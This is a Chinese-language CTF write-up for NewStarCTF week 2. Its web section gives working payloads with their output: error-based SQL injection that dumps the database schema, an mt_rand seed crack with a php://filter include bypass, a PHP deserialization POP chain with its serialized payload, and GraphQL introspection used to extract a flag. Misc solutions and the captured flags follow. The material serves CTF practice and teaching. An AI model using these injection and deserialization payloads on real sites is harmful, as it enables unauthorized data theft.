文章目录
- WEEK2
- WEB
- Word-For-You(2 Gen)
- IncludeOne
- UnserializeOne
- ezAPI
- MISC
- Yesec no drumsticks 2
- Coldwinds's Desktop
- 奇怪的二维码
- qsdz's girlfriend 2
WEEK2
WEB
Word-For-You(2 Gen)
题目描述
哇哇哇，我把查询界面改了，现在你们不能从数据库中拿到东西了吧哈哈（不过为了调试的代码似乎忘记删除了报错注入
/comments.php?name=1'and updatexml(1,concat(0x7e,database(),0x7e),1)--+Current Database: wfy/comments.php?name=1'and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1)--+
/comments.php?name=1'and updatexml(1,concat(0x7e,(select right(group_concat(table_name),30) from information_schema.tables where table_schema=database()),0x7e),1)--+Tables in database(wfy): wfy_admin,wfy_comments,wfy_information/comments.php?name=1'and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='wfy_comments'),0x7e),1)--+Columns in table(wfy_comments): id,text,user,name,display/comments.php?name=1'and updatexml(1,concat(0x7e,(select right(group_concat(text),30) from wfy.wfy_comments),0x7e),1)--+
IncludeOne
<?php
highlight_file(__FILE__);
error_reporting(0);
include("seed.php");
//mt_srand(*********);
echo "Hint: ".mt_rand()."<br>";
if(isset($_POST['guess']) && md5($_POST['guess']) === md5(mt_rand())){
if(!preg_match("/base|\.\./i",$_GET['file']) && preg_match("/NewStar/i",$_GET['file']) && isset($_GET['file'])){
//flag in `flag.php`
include($_GET['file']);
}else{
echo "Baby Hacker?";
}
}else{
echo "No Hacker!";
} Hint: 1219893521首先爆破伪随机数：https://www.openwall.com/php_mt_seed/
root@mochu7-pc:/mnt/d/Tools/Web/CTF/php_mt_seed# ./php_mt_seed 1219893521
Pattern: EXACT
Version: 3.0.7 to 5.2.0
Found 0, trying 0xfc000000 - 0xffffffff, speed 18382.0 Mseeds/s
Version: 5.2.1+
Found 0, trying 0x00000000 - 0x01ffffff, speed 0.0 Mseeds/s
seed = 0x0011793a = 1145146 (PHP 7.1.0+)
Found 1, trying 0x16000000 - 0x17ffffff, speed 183.6 Mseeds/s
seed = 0x161c5abb = 370956987 (PHP 5.2.1 to 7.0.x; HHVM)
Found 2, trying 0x64000000 - 0x65ffffff, speed 177.0 Mseeds/s
seed = 0x64a22f28 = 1688350504 (PHP 5.2.1 to 7.0.x; HHVM)
seed = 0x64a22f28 = 1688350504 (PHP 7.1.0+)
Found 4, trying 0xc4000000 - 0xc5ffffff, speed 170.5 Mseeds/s
seed = 0xc4b59923 = 3300235555 (PHP 5.2.1 to 7.0.x; HHVM)
seed = 0xc4b59923 = 3300235555 (PHP 7.1.0+)
seed = 0xc4efe664 = 3304056420 (PHP 5.2.1 to 7.0.x; HHVM)
seed = 0xc4efe664 = 3304056420 (PHP 7.1.0+)
Found 8, trying 0xfe000000 - 0xffffffff, speed 168.2 Mseeds/s
Found 8PS C:\Users\Administrator\Downloads> php -r "mt_srand(1145146);mt_rand();var_dump(mt_rand());"
Command line code:1:
int(1202031004)第二层使用伪协议，php://filter/协议自带一层url解码，这样双层url编码可以绕这里的过滤，至于NewStar关键字可以用管道符分隔开用作过滤器(错误的过滤器也不会报错)
/?file=php://filter/read=convert.ba%25%37%33e64-encode|NewStar/resource=flag.php
guess=1202031004
PS C:\Users\Administrator\Downloads> php -r "var_dump(base64_decode('PD9waHAgLy9mbGFnezc4YWY5ZjhhLTljMGUtNDJmNS1hYmY5LWFkOWUyY2FhZjE0Nn0K'));"
Command line code:1:
string(51) "<?php //flag{78af9f8a-9c0e-42f5-abf9-ad9e2caaf146}
"UnserializeOne
<?php
error_reporting(0);
highlight_file(__FILE__);
class Start{
public $name;
protected $func;
public function __destruct()
{
echo "Welcome to NewStarCTF, ".$this->name;
}
public function __isset($var)
{
($this->func)();
}
}
class Sec{
private $obj;
private $var;
public function __toString()
{
$this->obj->check($this->var);
return "CTFers";
}
public function __invoke()
{
echo file_get_contents('/flag');
}
}
class Easy{
public $cla;
public function __call($fun, $var)
{
$this->cla = clone $var[0];
}
}
class eeee{
public $obj;
public function __clone()
{
if(isset($this->obj->cmd)){
echo "success";
}
}
}
if(isset($_POST['pop'])){
unserialize($_POST['pop']);
}POP链
Sec::__invoke() <- Start::__isset() <- eeee::__clone() <- Easy::__call() <- Sec::__toString() <- Start::__destruct()<?php
class Start{
public $name;
public $func;
}
class Sec{
public $obj;
public $var;
}
class Easy{
public $cla;
}
class eeee{
public $obj;
}
$start = new Start();
$sec = new Sec();
$easy = new Easy();
$eeee = new eeee();
$eeee->obj = $start;
$sec->obj = $easy;
$sec->var = $eeee;
$start->name = $sec;
$start->func = $sec;
echo serialize($start);
?>O:5:"Start":2:{s:4:"name";O:3:"Sec":2:{s:3:"obj";O:4:"Easy":1:{s:3:"cla";N;}s:3:"var";O:4:"eeee":1:{s:3:"obj";r:1;}}s:4:"func";r:2;}
ezAPI
www.zip提供了源码
<?php
error_reporting(0);
$id = $_POST['id'];
function waf($str)
{
if (!is_numeric($str) || preg_replace("/[0-9]/", "", $str) !== "") {
return False;
} else {
return True;
}
}
function send($data)
{
$options = array(
'http' => array(
'method' => 'POST',
'header' => 'Content-type: application/json',
'content' => $data,
'timeout' => 10 * 60
)
);
$context = stream_context_create($options);
$result = file_get_contents("http://graphql:8080/v1/graphql", false, $context);
return $result;
}
if (isset($id)) {
if (waf($id)) {
isset($_POST['data']) ? $data = $_POST['data'] : $data = '{"query":"query{\nusers_user_by_pk(id:' . $id . ') {\nname\n}\n}\n", "variables":null}';
$res = json_decode(send($data));
if ($res->data->users_user_by_pk->name !== NULL) {
echo "ID: " . $id . "<br>Name: " . $res->data->users_user_by_pk->name;
} else {
echo "<b>Can't found it!</b><br><br>DEBUG: ";
var_dump($res->data);
}
} else {
die("<b>Hacker! Only Number!</b>");
}
} else {
die("<b>No Data?</b>");
}
?>$_POST['data']可以传入GraphQL查询语句
开启了Debug模式，由于GraphQL自带强大的内省自检机制，可以查询出GraphQL中所有的Query、Mutaion、ObjectType、Field、Arguments。
id=1&data={"query":"\n query IntrospectionQuery {\r\n __schema {\r\n queryType { name }\r\n mutationType { name }\r\n subscriptionType { name }\r\n types {\r\n ...FullType\r\n }\r\n directives {\r\n name\r\n description\r\n locations\r\n args {\r\n ...InputValue\r\n }\r\n }\r\n }\r\n }\r\n\r\n fragment FullType on __Type {\r\n kind\r\n name\r\n description\r\n fields(includeDeprecated: true) {\r\n name\r\n description\r\n args {\r\n ...InputValue\r\n }\r\n type {\r\n ...TypeRef\r\n }\r\n isDeprecated\r\n deprecationReason\r\n }\r\n inputFields {\r\n ...InputValue\r\n }\r\n interfaces {\r\n ...TypeRef\r\n }\r\n enumValues(includeDeprecated: true) {\r\n name\r\n description\r\n isDeprecated\r\n deprecationReason\r\n }\r\n possibleTypes {\r\n ...TypeRef\r\n }\r\n }\r\n\r\n fragment InputValue on __InputValue {\r\n name\r\n description\r\n type { ...TypeRef }\r\n defaultValue\r\n }\r\n\r\n fragment TypeRef on __Type {\r\n kind\r\n name\r\n ofType {\r\n kind\r\n name\r\n ofType {\r\n kind\r\n name\r\n ofType {\r\n kind\r\n name\r\n ofType {\r\n kind\r\n name\r\n ofType {\r\n kind\r\n name\r\n ofType {\r\n kind\r\n name\r\n ofType {\r\n kind\r\n name\r\n }\r\n }\r\n }\r\n }\r\n }\r\n }\r\n }\r\n }\r\n ","variables":null}右键查看源码
直接关键字搜索flag，找到了ffffllllaaagggg_1n_h3r3_flag和flag字段，尝试直接查询
id=1&data={"query":"query{ffffllllaaagggg_1n_h3r3_flag{flag}}"}
MISC
Yesec no drumsticks 2
零宽度字符隐写：https://330k.github.io/misc_tools/unicode_steganography.html
Base家族识别：https://basecrack.herokuapp.com/
>>> bytes.fromhex('666c61677b496e6772336431656e745f30465f59657365635f69355f4f4f4f4f4f7d')
b'flag{Ingr3d1ent_0F_Yesec_i5_OOOOO}'Coldwinds’s Desktop
montage *.PNG -tile 12x12 -geometry 30x30+0+0 flag.png
gaps --image=flag.png --generations=50 --population=144 --size=30 --verbose
flag{Y0u_successfu11y_s01ved_the_puzz1e}奇怪的二维码
很明显是一种QR Code，但是使用这个：https://products.aspose.app/barcode/recognize#/recognized 识别不出来
code.png末尾附加了一张PNG图片
